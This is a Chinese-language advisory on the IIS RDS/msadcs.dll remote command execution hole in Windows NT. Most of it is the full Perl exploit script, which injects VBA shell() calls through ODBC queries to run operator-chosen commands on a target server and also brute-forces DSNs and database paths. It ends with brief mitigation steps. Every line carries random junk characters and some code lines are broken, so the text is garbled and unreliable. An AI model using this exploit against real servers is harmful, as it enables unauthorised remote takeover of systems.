IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
T)MX]T ,ZI#p6 涉及程序：
|A.nP9 hW Microsoft NT server
dVMduo Sx:JuK@ 描述：
`+h+X 9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
mxnu\@}( d>gQgQ;g 详细：
M3U?\g 如果你没有时间读详细内容的话，就删除:
5B Jn_< c:\Program Files\Common Files\System\Msadc\msadcs.dll
z"nM R_TTu 有关的安全问题就没有了。
iNs@8<=$T U5
ia| V 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
cG"wj$'w *(s0X[- 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
2FN E ;y( 关于利用ODBC远程漏洞的描述，请参看:
$D='NzE/ h ,\5C/ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm aX,6y1 KV 8O k 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
w5 #;Lm http://www.microsoft.com/security/bulletins/MS99-025faq.asp %I=/
y wRdN(`;v 这里不再论述。
Tn"@u&P
* {%_D> y 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
\ 9fJ)*- 99\ lZ{f( /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+[ng99p 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
V%(T#_ E/6 @Q7^caG U3jnH #将下面这段保存为txt文件，然后: "perl -x 文件名"
H|S hi / 2:@,~{`#* #!perl
3 *T/ 7\ #
C|V5@O?;&
# MSADC/RDS 'usage' (aka exploit) script
g"~`\ xhx #
EQe$~}[ # by rain.forest.puppy
;}lsD1S: #
J%]5C}v \ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7z_ZD0PxPc # beta test and find errors!
YSzC's[ rB-R(2
CCN use Socket; use Getopt::Std;
N1}r%!jk/ getopts("e:vd:h:XR", \%args);
)(OGo`4Qz ~g9~D}48k' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Q/@ pcU d/3bE*gr
if (!defined $args{h} && !defined $args{R}) {
e(?1`1 print qq~
yIf^vx_G Usage: msadc.pl -h <host> { -d <delay> -X -v }
i[4!% FxB -h <host> = host you want to scan (ip or domain)
bk0<i*ju7( -d <seconds> = delay between calls, default 1 second
r $[{sW -X = dump Index Server path table, if available
iGSF5S -v = verbose
Vnq cp J -e = external dictionary file for step 5
?E,-P!&R ![!,i \x Or a -R will resume a command session
Q,M , ^_ R , #szTu ~; exit;}
8`s*+.LI! P v=]7> e $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
f9OY> |a9 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Y[| 9
+T if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ahdwoB if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
HWIn.ij $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\T[OF8yhW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
O6vHo3k pHowioFx if (!defined $args{R}){ $ret = &has_msadc;
n2dOCntN> die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
DQ } &J o=RxQk1N print "Please type the NT commandline you want to run (cmd /c assumed):\n"
TV|Z$,6l . "cmd /c ";
qC=9m[MI $in=<STDIN>; chomp $in;
37biRXqLH $command="cmd /c " . $in ;
Adet5m.|[8 <I*N=;7 if (defined $args{R}) {&load; exit;}
g\9&L/xDN f*:N* cC print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
wy^mh.= UX &try_btcustmr;
vTo+jQs^ bxPJ5oT print "\nStep 2: Trying to make our own DSN...";
OLWn0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
S(Z\h_m( WL|71?@C print "\nStep 3: Trying known DSNs...";
q6hH]Q>w* &known_dsn;
U# IPYyV +U<.MVOo. print "\nStep 4: Trying known .mdbs...";
belBdxa{" &known_mdb;
LN) yQ- L8Q/!+K if (defined $args{e}){
o6RT 4` print "\nStep 5: Trying dictionary of DSN names...";
d04gmc&* &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
zJh!Q** G O"E>FyB print "Sorry Charley...maybe next time?\n";
_>)@6srC exit;
qW*k|;S G ({5Lj gW ##############################################################################
QkWEVL@uM |z8_]o+|r1 sub sendraw { # ripped and modded from whisker
;dtA-EfOZ sleep($delay); # it's a DoS on the server! At least on mine...
"$b{EYq6 my ($pstr)=@_;
9=FH2|Z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q-A_ 8 die("Socket problems\n");
iaQfxQP1w% if(connect(S,pack "SnA4x8",2,80,$target)){
z8 r?C select(S); $|=1;
$m-C6xC/ print $pstr; my @in=<S>;
C8 i4z select(STDOUT); close(S);
\),zDO+ return @in;
,<C~DSAyZ } else { die("Can't connect...\n"); }}
[vz2< genn rLY I\ ##############################################################################
I. Xbowl C?MKb D=K sub make_header { # make the HTTP request
zlB[Eg^X my $msadc=<<EOT
v9!] /]U^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ny!80I User-Agent: ACTIVEDATA
8Ht=B ,7T Host: $ip
M04 u>|
, Content-Length: $clen
IF@vl Connection: Keep-Alive
5!wjYQt3 / cVZ/" ADCClientVersion:01.06
vR pO0qG Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Q<DX DvL >s!k"s, --!ADM!ROX!YOUR!WORLD!
g~(G P Content-Type: application/x-varg
asE.!g? Content-Length: $reqlen
e|>@ >F]K QxuU3#l EOT
\F\xZ.r ; $msadc=~s/\n/\r\n/g;
RH $l?j6 return $msadc;}
R&:Qy7" 6ZwQ/~7H ##############################################################################
nEP3B '+ bSQj= |h1 sub make_req { # make the RDS request
DjiI*HLNR my ($switch, $p1, $p2)=@_;
ILiOEwHS7F my $req=""; my $t1, $t2, $query, $dsn;
>) Bv >HM ]zj&U#{ if ($switch==1){ # this is the btcustmr.mdb query
FW)~e*@8= $query="Select * from Customers where City=" . make_shell();
KU Mk:5
c $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
M$Rh]3vqR $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&LG|YvMY6 eYn/F~5- elsif ($switch==2){ # this is general make table query
f+.sm $query="create table AZZ (B int, C varchar(10))";
>I0 a$w $dsn="$p1";}
Jh 36NE8r }jP/XO1f elsif ($switch==3){ # this is general exploit table query
Gu aF B[4 $query="select * from AZZ where C=" . make_shell();
({$rb- $dsn="$p1";}
|eFaOL| ~$rSy|19 elsif ($switch==4){ # attempt to hork file info from index server
mVN\ $query="select path from scope()";
&OkPO| $dsn="Provider=MSIDXS;";}
_PQk<QZ |VjD. ]I elsif ($switch==5){ # bad query
5 /T#>l< $query="select";
&T ^bv*P $dsn="$p1";}
% .ss t0?t Xe.B $t1= make_unicode($query);
E70o nR!i $t2= make_unicode($dsn);
RE-y5.kE^ $req = "\x02\x00\x03\x00";
K|Xe) $req.= "\x08\x00" . pack ("S1", length($t1));
{qU;>;( $req.= "\x00\x00" . $t1 ;
h0A%K L $req.= "\x08\x00" . pack ("S1", length($t2));
&" 5Yt&{ $req.= "\x00\x00" . $t2 ;
d/ @P;YN! $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
?5^DQ|Hg ^ return $req;}
0QW;=@)d )c 79& S ##############################################################################
m( %PZ*s (/ 9 erfuJ sub make_shell { # this makes the shell() statement
J/,m'wH return "'|shell(\"$command\")|'";}
I >6zX
m;TekJXm ##############################################################################
5^CWF| gR_Exs'K sub make_unicode { # quick little function to convert to unicode
w'y,$gtX/ my ($in)=@_; my $out;
f]C^{Uk# for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
z z<o4b R return $out;}
T-x9IoE l1 _"9a%H ##############################################################################
r ^ ' RMid}BRE sub rdo_success { # checks for RDO return success (this is kludge)
DK'S4%;Sp my (@in) = @_; my $base=content_start(@in);
\C2HeA\#SW if($in[$base]=~/multipart\/mixed/){
Gv[(0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Y:Jgr&*,z return 0;}
dQ AF;L NF-@Q@ ##############################################################################
4af^SZ )l H;DjM;be sub make_dsn { # this makes a DSN for us
o{l]n* my @drives=("c","d","e","f");
^gY'^2bzxu print "\nMaking DSN: ";
5`i+a H( foreach $drive (@drives) {
EY
c)v6[ print "$drive: ";
' z=d&K my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
6(Ntt "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
nQg_1+ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
LY#V)f $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
_?K,Jc8j. return 0 if $2 eq "404"; # not found/doesn't exist
H:WuMw D4 if($2 eq "200") {
Id >I.e4 foreach $line (@results) {
:o~ ]d return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
SP>&+5AydX } return 0;}
C}pQFL{B5 ;<%th ##############################################################################
~LP5hL ~at:\h4: sub verify_exists {
T&:~= my ($page)=@_;
g0IvcA my @results=sendraw("GET $page HTTP/1.0\n\n");
VCIV*5
P return $results[0];}
NQcg}y PIoBK CJ ##############################################################################
^V]IPGV -[h|*G.J sub try_btcustmr {
M=4 b my @drives=("c","d","e","f");
0< }BSv my @dirs=("winnt","winnt35","winnt351","win","windows");
,,Ivey!kL d7 :=axo, foreach $dir (@dirs) {
Ka%#RNW print "$dir -> "; # fun status so you can see progress
p Tncx%!W5 foreach $drive (@drives) {
kjOkPp print "$drive: "; # ditto
;hEeFJ=/G $reqlen=length( make_req(1,$drive,$dir) ) - 28;
1F+JyZK}w $reqlenlen=length( "$reqlen" );
YTr+"\CkA $clen= 206 + $reqlenlen + $reqlen;
am7~ 4AF.KX7 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
` joyHKZI. if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
,s:vi Xk else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
_NpxV'E S&D8Rao 5 ##############################################################################
N&|,!Cu SDk^fT V8x sub odbc_error {
{M\n my (@in)=@_; my $base;
,# %I$ my $base = content_start(@in);
l|;]"&|_]c if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
VtGZB3 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_?eT[!oO8 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aB`jFp- $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kE[R9RS! return $in[$base+4].$in[$base+5].$in[$base+6];}
WYkh'sv > print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
PY&mLux% print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
A!}Ps" Z $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
i|28:FJA fP$rOJ)P ##############################################################################
"g!ek3w( }'n]C| gZ sub verbose {
FC]n? 1?<( my ($in)=@_;
8= =_43 return if !$verbose;
Ue"pNjd| print STDOUT "\n$in\n";}
Yg jN*8w\ X!@ Y , ##############################################################################
k]2_vk^ MN: LL
< sub save {
E Q:6R|L my ($p1, $p2, $p3, $p4)=@_;
'q@vTM'- open(OUT, ">rds.save") || print "Problem saving parameters...\n";
rD9:4W`^ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
aY6F4,7/B close OUT;}
%7?Z|'\ 8`90a\t 'Z ##############################################################################
D#^euNiWd u*rHKZ9i sub load {
BKgCuz:y my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D6C h6i5$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
BPVOBL@ @p=<IN>; close(IN);
}d5~w[ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%8d]JQ $target= inet_aton($ip) || die("inet_aton problems");
r @
! print "Resuming to $ip ...";
H ?V
b $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6)>otB 8)J if($p[1]==1) {
U\-R'Z>M $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
rZ2 cC# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
aP"!}* my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
#wZH.i # if (rdo_success(@results)){print "Success!\n";}
n9R0f9:* else { print "failed\n"; verbose(odbc_error(@results));}}
8xkLfN|N=
elsif ($p[1]==3){
$I4Wl:(~} if(run_query("$p[3]")){
U"~W3vwJ print "Success!\n";} else { print "failed\n"; }}
KleiX7 elsif ($p[1]==4){
5 Yww,s if(run_query($drvst . "$p[3]")){
oY7jj=z#T print "Success!\n"; } else { print "failed\n"; }}
;82 ?ACCP exit;}
Yb1Q6[! 8# x7q>? ##############################################################################
Iyb_5 UmpF Sl@Ucc31 sub create_table {
O=^/58(m my ($in)=@_;
)lq+Gv[%F $reqlen=length( make_req(2,$in,"") ) - 28;
q1m{G1W
n $reqlenlen=length( "$reqlen" );
"b%FkD $clen= 206 + $reqlenlen + $reqlen;
kv;P2:"| my @results=sendraw(make_header() . make_req(2,$in,""));
Z# YNL-x return 1 if rdo_success(@results);
R dNL f my $temp= odbc_error(@results); verbose($temp);
p+d O w # return 1 if $temp=~/Table 'AZZ' already exists/;
(%"9 LYv return 0;}
IFhS(3 YK[ M+:9U&>
##############################################################################
)ybF@emc 2.
v<pqn sub known_dsn {
> `0mn|+ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
HV * ;Yt my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
8pZ Ogh
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
bR8`Y(=F9b "banner", "banners", "ads", "ADCDemo", "ADCTest");
NOKU2d4 G c]/S<w< foreach $dSn (@dsns) {
xErb11 print ".";
;uzLa%JQ next if (!is_access("DSN=$dSn"));
(L( n% if(create_table("DSN=$dSn")){
8(L6I%k* print "$dSn successful\n";
+(^H L3 if(run_query("DSN=$dSn")){
9[sOh< W print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
u(\O@5a print "Something's borked. Use verbose next time\n";}}} print "\n";}
&So1;RR,_M y0~ttfv ##############################################################################
o^m?w0 \ 5G$5d:[( sub is_access {
g(,^'; j my ($in)=@_;
n|KY cU# $reqlen=length( make_req(5,$in,"") ) - 28;
4S[UJ% $reqlenlen=length( "$reqlen" );
e6^}XRyf $clen= 206 + $reqlenlen + $reqlen;
5}c8v2R:B my @results=sendraw(make_header() . make_req(5,$in,""));
FZLx.3k4 my $temp= odbc_error(@results);
c] t@3 m verbose($temp); return 1 if ($temp=~/Microsoft Access/);
?Ygd|a5 return 0;}
Lw%_xRn) Qkhor-f0 ##############################################################################
$48 Z>ij?f 1aCpeD4|) sub run_query {
q'TIN{\.{ my ($in)=@_;
d`=LZio $reqlen=length( make_req(3,$in,"") ) - 28;
<Y2$'ETD $reqlenlen=length( "$reqlen" );
4u"Bll $clen= 206 + $reqlenlen + $reqlen;
D2=zrU3Y64 my @results=sendraw(make_header() . make_req(3,$in,""));
-Tn %O|#K return 1 if rdo_success(@results);
+T8MQ[(4 my $temp= odbc_error(@results); verbose($temp);
EdkIT|c{ return 0;}
jL'`M%8O #<EYO ##############################################################################
J_.cC 9C0 #K\ sub known_mdb {
1:>F{g my @drives=("c","d","e","f","g");
DUh\x>^ my @dirs=("winnt","winnt35","winnt351","win","windows");
ge<D}6GQ my $dir, $drive, $mdb;
. _W w my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_l"nwEs SD<a#S\o # this is sparse, because I don't know of many
,>8w|951' my @sysmdbs=( "\\catroot\\icatalog.mdb",
#qpP37G "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
6U.|0mG[ "\\system32\\certmdb.mdb",
&/WE{W "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
~E!kx L(sT/ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
;{q* "\\cfusion\\cfapps\\forums\\forums_.mdb",
PB?2{Cj "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
~QDM
.5 "\\cfusion\\cfapps\\security\\realm_.mdb",
C+[)^ 2M{ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
MU(I#Prpe "\\cfusion\\database\\cfexamples.mdb",
-; J6S "\\cfusion\\database\\cfsnippets.mdb",
#sDb611}# "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
#V%98| " "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
X6 N&:< "\\cfusion\\brighttiger\\database\\cleam.mdb",
/
*PHX@ "\\cfusion\\database\\smpolicy.mdb",
Jazg n5 "\\cfusion\\database\cypress.mdb",
A.dbb'^ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
'W yWO^Bdk "\\website\\cgi-win\\dbsample.mdb",
akU2T oP "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
4^M"V5tDx "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
9dBxCdpu ); #these are just
[uLs M<C foreach $drive (@drives) {
RAP-vVh/C foreach $dir (@dirs){
CxZh^V8LP foreach $mdb (@sysmdbs) {
l`i97P?/W print ".";
B4wRwrVI> if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
[ ~ 2imS print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
j49Uj}:j if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
$LFL4Q print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
%yu =,J j } else { print "Something's borked. Use verbose next time\n"; }}}}}
$Ery&rX. o vBmo2W/ foreach $drive (@drives) {
xLDD;Qm, foreach $mdb (@mdbs) {
g\
v T7x print ".";
r$}C<a[U if(create_table($drv . $drive . $dir . $mdb)){
m! ueqV" print "\n" . $drive . $dir . $mdb . " successful\n";
upL3M` if(run_query($drv . $drive . $dir . $mdb)){
I
"~.p =' print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
G3%Ju= } else { print "Something's borked. Use verbose next time\n"; }}}}
_]pu"hZz4 }
P(TBFu +a 1iZ bh ##############################################################################
8.Y|I5l7G aR/?YKA sub hork_idx {
\r[u>7I print "\nAttempting to dump Index Server tables...\n";
IT&,?u% print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Y`Io}h G$ $reqlen=length( make_req(4,"","") ) - 28;
vIbM@Y4
'? $reqlenlen=length( "$reqlen" );
dK4rr O $clen= 206 + $reqlenlen + $reqlen;
]L7A$sTUQ my @results=sendraw2(make_header() . make_req(4,"",""));
2R.L LE if (rdo_success(@results)){
5UO+c( T my $max=@results; my $c; my %d;
KP >9hEh for($c=19; $c<$max; $c++){
^}B,0yUu' $results[$c]=~s/\x00//g;
}$4z$& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
>[,eK= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
?'9I gT[* $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
~~Ezt*lH $d{"$1$2"}="";}
yi>A ogQ, foreach $c (keys %d){ print "$c\n"; }
.
yg# } else {print "Index server doesn't seem to be installed.\n"; }}
Cl]?qH*: @XV&^l - ##############################################################################
ACdPF_Y] 6 AGZ)gX sub dsn_dict {
hN
&?x5aC> open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Bhd)# P while(<IN>){
JHt
U" $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
y~@zfJ5/^ next if (!is_access("DSN=$dSn"));
Kbf(P95+uL if(create_table("DSN=$dSn")){
AXW.`~ 4 print "$dSn successful\n";
&|~7` if(run_query("DSN=$dSn")){
/uj^w&l# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*}d N.IL, print "Something's borked. Use verbose next time\n";}}}
,T<JNd' print "\n"; close(IN);}
8Auek#[ !}#> ky!t ##############################################################################
]A'{DKR D3X4@sM sub sendraw2 { # ripped and modded from whisker
L ,dh$F sleep($delay); # it's a DoS on the server! At least on mine...
d*0 RBgn my ($pstr)=@_;
`KFEzv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8b)WOr6n die("Socket problems\n");
JhFbze> if(connect(S,pack "SnA4x8",2,80,$target)){
|JxVfX8^ print "Connected. Getting data";
9Yv:6@. F open(OUT,">raw.out"); my @in;
%
D select(S); $|=1; print $pstr;
O
{1" I while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
EIg~^xK close(OUT); select(STDOUT); close(S); return @in;
Nc7"`!;-
} else { die("Can't connect...\n"); }}
LV^^Bd8Ct v$|~
g'6 ##############################################################################
&aLTy&8Fv
D}98ZKi sub content_start { # this will take in the server headers
30! DraW8 my (@in)=@_; my $c;
(WyNO QO' for ($c=1;$c<500;$c++) {
e~N&?^M if($in[$c] =~/^\x0d\x0a/){
-AdDPWn if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
0\P5=hD)K else { return $c+1; }}}
>.d /@3
' return -1;} # it should never get here actually
o$sD 9xx %o0b~R ##############################################################################
P 0,]`w Fo.Y6/ } sub funky {
%8FfP5# my (@in)=@_; my $error=odbc_error(@in);
( Xh <F if($error=~/ADO could not find the specified provider/){
AafS 6]y print "\nServer returned an ADO miscofiguration message\nAborting.\n";
$^ee~v;m4 exit;}
tDX& ~1s if($error=~/A Handler is required/){
lFjz*g2' print "\nServer has custom handler filters (they most likely are patched)\n";
d F y$ w= exit;}
L 0fe if($error=~/specified Handler has denied Access/){
.B:ZyTI print "\nServer has custom handler filters (they most likely are patched)\n";
J:yv82 exit;}}
wUv?;Y$C b>; ? { ##############################################################################
| ys5.| H5}61 JC/z sub has_msadc {
'f\9' v my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
g"m'
C6; my $base=content_start(@results);
Zv;nY7B return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
h;gc5"mG return 0;}
{aY) Q v} _ ;j1g% ########################
8t x*z"2S *[Z`0AgP >GGM76vB=, 解决方案：
!p&<.H_ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
`Nx@MPo 2、移除web 目录: /msadc
